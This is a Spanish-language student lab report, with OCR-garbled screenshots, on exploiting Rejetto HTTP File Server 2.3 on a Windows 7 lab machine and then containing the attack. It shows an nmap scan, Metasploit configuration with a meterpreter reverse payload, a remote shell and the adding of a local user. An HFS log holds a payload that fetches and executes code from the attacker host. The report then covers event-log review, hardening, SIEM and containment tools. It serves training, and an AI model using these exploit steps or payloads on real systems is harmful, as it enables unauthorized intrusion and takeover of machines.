Figura 2.3.7 Ping y puerto
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192.168.8.25
/mmap.org ) at 2@021-09-21 2@:16 EDT

0:50 elapsed; @ ho ed (1 up), 1 un i rvice Scan
Timing: About 50. ; 1 20:17 (m@: 3 aining

up), 1 undergoi
g sca ., done; ETC: 20:18 (0:00:00
Nmap scan re
Host is up (8.
Not shown: 986
PORT STATE SERVICE VERSION
g0/tcp open h HttpFileServer httpd 2.3k
| _http-ser ader: 2.3k

| _http-tit 557
Open mSsrpcC Microsott Windows RPC
open nethios-ssn Microsoft Windows netbios-ssn
open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup:

open rtsp?
open http Microsoft HTTRPAPI httpd 2.0 (SSDP/UPRP)
http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Figura 2.3.7 También se pueden detallar los puertos por medio del kali Linux como
por ejemplo con nmap validando conectividad con esa maquina y encontrando que
tiene instalado asi como el sistema operativo del equipo a vulnerar.

A continuacién explico de manera especifica como afecta el ataque a la
maquina (Windows 7 X64), haga uso de graficos para explicar el ataque.

Segun la vulnerabilidad un equipo comprometido se puede reconocer por la
version de software, al conocer la vulnerabilidad que tiene la aplicacion, y de no
ser asegurada por medio de actualizaciones o parches se corre seriamente el
riesgo de que sean atacadas.

El falla o vulnerabilidad conocido en la aplicaciébn permite a un atacante remoto
ejecutar codigo arbitrario en el sistema comprometido el cual aloja la aplicacion.
En este caso el equipo con direccion IP: 192.168.0.25. La funcién de comentario
de archivo en Rejetto HTTP File Server (hfs) 2.3 y versiones anteriores permite a
los atacantes remotos ejecutar cédigo arbitrario cargando un archivo con ciertas
secuencias de bytes UTF-8 no validas que se interpretan como macro simbolos
ejecutables por medio del puerto 80 y la url de acceso

En mas detalle la vulnerabilidad de seguridad en la funcién "findMacroMarker" en
el archivo parserLib.pas en Rejetto HTTP File Server 2.3. La vulnerabilidad se
debe al hecho de que el archivo parserLib.pas no maneja correctamente los bytes
nulos. Un atacante remoto puede utilizar esta vulnerabilidad para ejecutar
programas arbitrarios con la ayuda de la secuencia "% 00" en la operacion de
bdsqueda como se observa en la imagen.
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Figura 2.3.8 Esquema ataque
&
Usuario

Maqguina Cliente

Windows 7

Aplicacion leretto

HFS is HTTP File Server

Vulnerable Puerto 80

Vulnerabilidad insercion de codigo a la URL

Atacante

Documente cada uno de los pasos que ejecutd y sus respectivas evidencias
para explotar la vulnerabilidad en la maquina Windows 7.

Sabiendo que el equipo cliente tiene una aplicacion vulnerable como Rejetto y
qgue al estar abierta esta aplicacion muestra el puerto 80 abierto, se pretende
entonces demostrar como se puede tener acceso a una Shell (cmd), de forma
remota para poder controlar el equipo atacado. Iniciamos abriendo metasploit

23



Figura 2.3.9 Inicio Metasploit

=N mEm P & qterminal 07:22 PM O3

ShellNo.1 — (=} >

File Actions Edit View Help
= https://vwww .kali.org/docs/general—-use/python2—transition/

(Run: “touch ~/.hushlogin™ to hide this message)
[+] Creating configuration file "/usr/share/metasploit—framework/config/datab
ase.yml”
[+] Creating initial database schema

met splL v 6
2132 exploits 139 auxiliary — 364
592 payloads — 45 encoders — 1@ nops
8 evasion

Metasploit tip: To save all commands executed since start up
to a file, use the X command

msfe >

Figura 2.3.9 Lo planteado es poder tomar sesion en el equipo atacado por medio
del rhost, o sea estar sobre la maquina victima como se observa en la imagen

Figura 2.3.10 Configuracion metasploit

SheliNo.1

Actions Edit View Help

indo /http/rej

variable
foption] [value]

the given option to value. f value is o , print the current value.
both are omitted, print optior that >

run from a module context, this will > the in the module
datastore. Use -g to ope te on the glo

If setting a PAYLOAD, this command can take an index from show payloads” .

exploit( > set windows/meterpreter/reve
1own variable
[option] [value]

" option to value. If value omitted, print the current value.
omitted, print options that re currently set.

If run fr a
datastore Us

module context, the value in the module's
e -g to operate on = datastore

setting a PAYLOAD, this command c e an index from show payloads”
exploit( > set payload windows/s rpreter/rev

set RHOST 192.

Figura 2.3.10 Ahora se va a ejecutar el exploit que hace referencia a esta
vulnerabilidad sobre el equipo victima, el cual ingresa a la base de datos del
metasploit que contiene los exploits de las vulnerabilidades ya conocidas, el

exploit lo que realiza es una conexion reversa desde el equipo atacante, logrando
una conexion o sesion en el host remoto.
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Figura 2.3.11 Exploit

msf6 exploit( ) » exploit

Started revers

: http:/,
tarted.

rpreter se [ = 2.168.0.25:49176) at 2821

ver stopped.

Figura 2.3.11 Ya teniendo una sesion sobre el equipo victima, se puede recolectar
informacion que permite validar que se esta sobre el equipo victima por medio de
comando Shell

Figura 2.3.12 Shell

BN eomPk 20| [=] ¢ qterminal 10:20PM O A G77%| & &

ShellNo.1
File Actions Edit View Help

Session 1 is already interactive.
meterpreter > shell
Process 1780 created.
Channel 2 created.
Microsoft Windows [Versi®n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\usuario\Desktop\Rejjeto_123456>hostname
hostname
PC202006

C:\Users\usuario\Desktop\Rejjeto_123456>ipconfig
ipconfig

Configuraci®n IP de Windows

Adaptador de Ethernet Conexi®n de ®rea local:

Sufijo DNS espec®fico para la conexi®n. . :

Direcci®n IPv4 : .168.0.25
M@scara de subred : 255.255.255.0
Puerta de enlace predeterminada : 192.168.0.1

Adaptador de t®nel isatap.{5BES8BED2-9B04-4799-BEB3-D289D73C2460}:

Estado de los medios : medios desconectados
Sufijo DNS espec®fico para la conexi®n. . :

Figura 2.3.12 Como se logra evidenciar en este proceso por medio de la falla de
seguridad en la aplicacion sobre el sistema huésped se puede obtener y lograr
fuga de informacion, todo por medio del puerto 80, esto evidencia que por Rejetto,
se deja abierto el puerto, por el cual se puede realizar un ataque exitoso.
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Figura 2.3.13 Creacion user

R emPk20 | [2] ~g gterminal 10:18PM O 4) & & 75%|

ShellNo.1

File Actions Edit View Help

Estado de los medios : medios desconectados
Sufijo DNS espec®fico para la conexi®n. . :

C:\Users\usuario\Desktop\Rejjeto_123
net user

Cuentas de usuario de \)

Administrador Invitado usuario
Se ha completado el comando correctamente.

6>net user /fadd A

Se ha completado el comando correctamente.
rshwusuario\Desktop\Rejjeto_ 6>net user

Cuentas de usuario de \!

Administrador nl ider_Perez Invitado
usuario
Se ha completado el comando correctamente.

C:\Users\usuario\Desktop\Rejjeto_123

Figura 2.3.13 Para finalizar la revision de la imagen del sistema y para demostrar
a los directivos la falla de seguridad, se procede a crear un usuario por comando
en este caso del especialista que esta revisando la imagen forense.
Nombre: Alexander

Apellido: Perez

2.4 Acciones de contencion de ataques informaticos

Qué seria lo primero que indagaria y haria si llegara a encontrarse un ataque
en tiempo real?
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En un ambiente real no sé qué tan sencillo es identificar un ataque en tiempo
real; para esto se tendria que tener en la red dispositivos o software de control
como tipo (Network Access control, firewall con reglas detalladas de acceso y
puertos especificos y documentados abiertos asi como software basado en
inteligencia artificial que modele las amenazas y en tiempo real las reporte segun
aprendizaje y segun conocimiento de la red.

Y en un escenario en el que se tengan los controles anteriores y se identifique el
ataque en tiempo real los puntos que indagaria y acciones que realizaria serian de
2 tipos, acciones organizativas y acciones técnicas ya que un ataque o fuga de
informacion puede afectar muchos frentes

Acciones organizativas

+ Al encontrarse con un ataque en tiempo real lo 1lro a realizar seria
informacion a las cabezas de la organizacién de un posible fuga o perdida
de informacidn; esto se debe realizar independiente del tipo de organizacion
ya que se debe diseilar un plan de medidas al incidente y se debe
identificar que temas legales o corporativos podrian quedar vulnerados.
Adicional al informar tambien se debe tener claridad quien puede aprobar o
tomar decisiones segun corresponda.

Acciones técnicas

+ Aunque suene muy rapido tomar esta accién lo 1ro que realizaria seria
aislar la maquina vulnerada de la red ya sea aislando el segmento de red o
la mejor forma es desconectandola de la red.

+ Con el punto anterior cumplido y teniendo en cuenta que no hay software
para este tipo de eventos ni presupuesto para adquisicion segun lo indica el
anexo; iniciaria a revisar los eventos o logs de la maquina vulnerada para
tener evidencia y saber que esta ocurriendo; como el escenario es de la
actividad anterior vamos a revisar estos eventos sobre el equipo W7 con el
software vulnerado.

Figura 2.4.1 Cuenta creada

BN Administrador: ChWindows\system32\cmd.exe E@
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Figura 2.4.1 Se encuentran diferentes eventos de seguridad referentes a una
creacion de una cuenta de usuario local y a cambio de privilegios.

Figura 2.4.2 Eventos seguridad

Seguridad c eve Acciones
Palabras clave Fecha y hora Origen  Id.del.. Catego.. -
@_ Auditoria correcta 23/09/2021 09:17:16 p.m. Audito... 4732 Admini... Uz swre.
& i ’ ] ana AT L A7 L 1 ? Crear ...
Evento 4732, Auditoria de seguridad de Microsoft Windows. x
Impor.
General | Detalles Vaciar...
- - - T Filtrar ...
Se agregé un miembre a un grupe local con seguridad habilitada. B
B [ Propi...
Sujeto: L
1d. de seguridad: PC202006\usuario 3 8 Busce..
Nombre de cuenta: usuario b Guard...
Dominio de cuenta: PC202006 )
1d. de inicio de sesién: Oxfb3e Adjun...
Vi
Miembro: &
1d. de sequridad: PC202006\Alexander_Perez 2 d] Actug..
Nombre de registro:  Seguridad H Ayude
Origen: Auditoria de sequridad de Microso Registrado: 23/08/2021 09:17:16 p.m. Evento 473..
1d. del evente: 4732 Categoria de tarea:  Administracién de grupoes de seguridad =] Propi..
Nivel: Informacién Palabras clave: Auditoria correcta T Adjun...
Usuario: Mo dispenible Equipo: PC202006 5= Copiar
Cédigo de operacion:  Informacién i Guard...
Més informacién: Ayuds Registro de eventos [dl Actua..
H 2wuda

J elelalm]

Seguridad Mimero de ev
Palabras clave Fecha y hora Origen  Id.del.. Categoria delatarea | | Seguridad
9 Auditoria correcta 23/09/2021 09:17:16 p.m. Audito... 4720 Administracion de cuentas de usuario L||& Abrrr
- . — : ¥ Crear..
Evento 4720, Auditoria de seguridad de Microsoft Windows. x :
Impor...
General | Detalles Vaciar...
|Se creé una cuenta de usuario. - T Fitar .
E [=] Propi...
Sujeto: N
Id. de seguridad: PC202006\usuario 8 Busca..
MNembre de cuenta: usuario | Guard..
Dominic de cuenta: PC202006
Id. de inicio de sesion: Oxfb3e Adjun...
Mueva cuenta: Ver !
Id. de seguridad: PC202006\Alexander_Perez i 6] Actua...
Nombre de registro:  Seguridad H Ayda 1
Origen: Auditoria de seguridad de Microso Registrado: 23/09/2021 09:17:16 p.rm. Evento 472..
Id. del evento: 4720 Categoria de tarea:  Administracién de cuentas de usuario D Propi...
Mivel: Informacidn Palabras clave: Auditoria correcta T Adjun..
Usuario: No disponible Equipo: PC202006 P e—— 52 Copiar |
Cédige de operacién: Informacian I Guard..
Mas informacian: Ayuda Registro de eventos @ Actua..
H Ayuda 1
D = A

Personalizar...

o eleldl

Figura 2.4.2 Que se identifica con las imagenes anteriores que fue creado y
gestionado un usuario y segun validacién no fue creado por ninguno de los
grupos de gestion operativa autorizados.
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Figura 2.4.3 Conexiones

{4 HFS ~ HTTP File Server 2.3 Build 288 [E=n R (=1
& Menu t} Port: 80 | @ You are in Easy mode jlj Update now
E Open in browser  http://192.168.0.25/ Copy to clipboard
Virtual File System Log
; D > Execute+x.responseText.}

05:47:47 p.m. 192.168.0.24:36583 Requested GET /?search=09:30:23 p.m. Check update: new version found: 2.3m
11:36:47 a.m. Check update: failed

06:50:34 p.m. Check update: new version found: 2.3m

07:16:37 p.m. 192.168.0.24:45475 Requested GET /?search=> On+Error+Resume+Next
= 3.Open+"GET", "http://192.168.0.24:8080/YwtVnC64qb" False

= [f+Err Number+<»+0+Then

= wsh_exit

> End+If

= x.Send

= Execute+x.responseText.}

07:16:36 p.m. 192.168.0.24:38269 Requested GET /?search=

m

w8 IP address File Status Speed  Time... Progress

Out: 0.0 KB/s  In: 0.0 KB/

e 2 = S0ao [

Figura 2.4.3 Otro de los puntos a revisar serian las diferentes conexiones que
estan establecidas y se puede realizar con un comando de sistema como netstat
sobre la maquina vulnerada y conociendo que esta maquina tiene un software con
una version vulnerable

Se evidencia conexiones establecidas desde la maquina atacante hacia el equipo
vulnerado por el puerto 80.

Figura 2.4.4 Conexiones establecidas

5 Win7-5E2020-X64 [Corriendo] - Qracle VM VirtualBox

BER Administrador C\Windows\system32hcmd.exe EIE
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Teniendo en cuenta el atague ejecutado desde el ejercicio de Red team qué
medidas de hardenizacidén propondria para que el ataque no se repita?

Las principales medidas que se deben tener para realizar hardening o
aseguramiento a las maquinas y evitar que se repitan ataques serian los
siguientes:

*

- F + & & ¥+ #

Actualizacién de parches de seguridad de sistema operativo W7 hasta el
altimo nivel y tener un plan de actualizacion segun ciclo de Microsoft eso si
este sistema operativo no estuviera fuera de soporte

Subir firewall local del sistema dejando solo reglas especificas de entrada y
salida de puertos segun necesidad y segun software instalado

Monitoreo frecuente con reglas de la creacion de usuarios locales y los
privilegios asignados

revision de claves seguras, como politica minima de 12 caracteres
alfanumérica con un diccionario configurado para evitar claves comunes
Suspender servicios que no son necesarios en el sistema o que conllevan a
tener aplicaciones propias de sistema ejecutandose en backlog

Tener copias de respaldo a nivel de data de la aplicacion y o el servicio a
utilizar

Pero creeria que lo principal a optimizar seria actualizar como minimo a
W10 el sistema operativo y al igual seguir las recomendaciones anteriores
Aunqgue los anteriores puntos hacen parte de lo que tiene que ver con el
sistema también se debe tener claro y deben ser capacitados los usuarios
en el uso de la informacion y de seguridad de la misma

Describa con sus palabras las diferencias entre un equipo Blueteam y un
equipo de respuesta a incidentes informaticos?

Las principales diferencias entre estos 2 equipos serian las siguientes:

*

El equipo de respuesta a incidentes informaticos o CSIRT
(Computer Security Incident Response Team) se enfoca inicialmente a ser
entidades o grupos reactivos a responder ante ataques ya sucedidos. Entre
las acciones que realiza el grupo CIRT estan el analisis del malware, la
investigacién de los eventos de cémo se produjeron los ataques, también
pueden colaborar a retornar el servicio 0 sistema que presento el ataque,
y también puede gestionar las vulnerabilidades que se detectaron en el
proceso del ataque. Su funcion principal es, por tanto, recibir, analizar y
responder ante los incidentes recibidos desde las diferentes comunidades
gue colaboran con otros CSIRT 0 con empresas o personas que lo soliciten.
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+ El equipo de respuesta BlueTeam es por el contrario al equipo de
respuesta a incidentes un grupo o] area donde
los ingenieros Blueteam buscan preveer o ser proactivos ya que se ha
pasado del analisis y respuesta una vez se producia la incidencia, a un
papel mas preventivo y educativo; no solo se limitan a crear anuncio de
seguridad y gestionar los incidentes, sino que disefian herramientas de
seguridad que brindan y dan recomendaciones para prevenir atagues y
ponen a disposicion de las diferentes comunidades la informacion recogida
para que otros puedan usarla y asi entender y reconocer como mitigar
posibles futuros ataques.

+ Tambien el grupo de Blueteam puede realizar o se enfoca en una
inspeccion profunda referente a las medidas de seguridad estandarizadas
en la infraestructura de red en una organizacion, se realiza una contencion
de la seguridad de la informacion segun hallazgos del Red Team, de una
manera preventiva.

Si dentro de un equipo Blueteam le indican que debe trabajar con CIS
“Center For Internet Security” usted lo utilizaria para qué fin?

Antes de indicar para que se utilizaria, se indica que el CIS (Center for Internet
Security) son un conjunto de buenas practicas o marcos de ciberseguridad para
una variedad de sistemas y productos de TI. Estos marcos de referencia
proporcionan las configuraciones para garantizar el cumplimiento de los
estandares de ciberseguridad acordados por la industria, los marcos de referencia
son desarrollados por CIS junto con comunidades de ingenieros expertos en
ciberseguridad.

Los CIS ofrecen diferentes programas a las corporaciones o empresas para
promover los procedimientos de ciberseguridad. Los controles CIS proporcionan a
las organizaciones un conjunto de procedimientos para reforzar la ciberseguridad
y responder a los incidentes. Consisten en acciones enfocadas para reducir el
riesgo de amenazas cibernéticas y pasos para resolver incidentes de Tl graves.

Utilizaria estas mejores practicas o marcos de referencia para:

+ Fortalecer o robustecer el software de sistema operativo como por ejemplo
Windows Server aseguramiento.

+ Actualmente y por el auge de las migraciones y pasos a la nube de
servicios utilizaria estas mejores practicas para configurar la infraestructura
y los servicios en la nube mas conocidos, asi como aseguramiento de los
servicios en la nube de Amazon Web Services, Microsoft Azure, Oracle
Cloud Infrastructure y Google Cloud Computing Platform. Se debe tener en
cuenta que estos servicios en la nube deben cumplir con las regulaciones
de los gobiernos y que mejor que tener estos marcos.
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Expliqgue y redacte las funciones y caracteristicas principales de lo que es un
SIEM.

El SIEM (Security Information and Event Management) o en espafiol que significa
Gestion de Eventos e Informacion de Seguridad, es un software o aplicativo que
buscar realizar obtener y monitorear los diferentes logs de los dispositivos y
elementos de seguridad.

Las principales caracteristicas del SIEM son:

+ Se encarga de analizar y estructurar los diferentes datos recopilados para
tener una vision global los mismos a nivel de seguridad de elementos como
los son Firewalls, IDS (Sistema de deteccion de intrusiones) , IPS (Sistema
de prevencion de intrusiones), Antimalware, WAF (Firewall de aplicaciones
web), Firewall de base de datos, proxys, EDR (Endpoint Detection and
Response).

+ Dentro de sus caracteristicas la aplicacion trabaja con cantidades de datos
elevadas, puede aplicar analitica integrada para detectar amenazas con
precision. Y también puede correlacionar actividades relacionadas para
priorizar incidentes.

Defina por lo menos 3 herramientas de contencion de atagues informaticos
“hardware o software”, recuerde que las herramientas de contencién son
diferentes a las herramientas de deteccion

Dentro de las herramientas de contencion de ataques segun revision se pueden
encontrar las siguientes:

+ Cisco FireSight: escanea la actividad de la red con sensores de
inteligencia artificial, cuya configuracion es actualizada segun aprendizaje
de los sensores con las Ultimas alertas detectadas. Cisco FireSIGHT avisa
del incidente a ISE que cambiara inmediatamente la politica de acceso a la
red del usuario y del dispositivo, marcandolos como “sospechosos”. Este
cambio en la politica de acceso hara que el resto de soluciones de
seguridad de la red configurados restrinjan o denieguen el acceso al
usuario y su dispositivo.

+ Splunk: es un software de seguridad de sistema informéatico completo que
se utiliza para monitorear la seguridad de la red. La herramienta se utiliza
tanto para realizar analisis de red en tiempo real como para busquedas
histéricas de datos de amenazas. Esta es una herramienta facil de usar que
contiene una interfaz de usuario unificada para capturar, indexar y recopilar
datos y generar alertas, informes, paneles y graficos en tiempo real
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+ Ossec IDS: Es una de las herramientas con mejor calificacion open-
source IDS ya que incluye herramientas para correlacion de eventos,
capacidades de monitoreo, analisis de vulnerabilidades, respuesta
automéatica de amenazas como modulos adicionales de trabajo
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3. CONCLUSIONES

Los temas referenciados respecto a configuracion del banco de pruebas fueron
satisfactorios y es el inicio del proceso, el tema es bastante interesante y son las
bases para profundizar en un proceso mas robusto y complejo.

El kali es un sistema que tiene aplicaciones muy utilizadas y que generan un
desarrollo adicional en el proceso de aprendizaje.

También entiendo que la ley aun es muy lapsa y aun estd abierta a
consideraciones abiertas porque no se detallan los muchos escenarios que puede
llegar a tener respecto a el trato de la informacién y sus derivados.

En este tipo de actividades en las cuales se ponen a prueba los conocimientos
informaticos practicos donde se busca hallar posibles vulnerabilidades, nos
demuestra de una mejor forma como mitigar y evitar amenazas o ataques

Mediante este tipo de actividades se buscan formular estrategias de contencion
mediante el analisis de riesgos y vulnerabilidades en una infraestructura Tl por
medio de la préctica.

Es de vital importancia identificar las diferentes opciones que se tienen para
contener un ataque y esto nos lleva a tomar medidas preventivas. También se
logra tomar conciencia en un entorno laboral de las diferentes amenazas y los
medios que se pueden utilizar para contener esas amenazas.

Como profesional critico y analitico realizando la investigacion de incidentes
desarrollando la capacidad de identificar y entender la manera en la cual se
ejecutan posibles delitos informaticos y como poder mitigarlos

En este tipo de actividades en las cuales se ponen a prueba los conocimientos
informaticos practicos donde se busca contener las amenazas y posibles
vulnerabilidades, nos ensefia a tomar experiencia y a saber cémo actuar en dado
caso de tener que pasar por uno de estos eventos.

El trabajo planteado es Optimo para identificar, analizar y llegar a conclusiones
l6gicas dentro del proceso de contencion.
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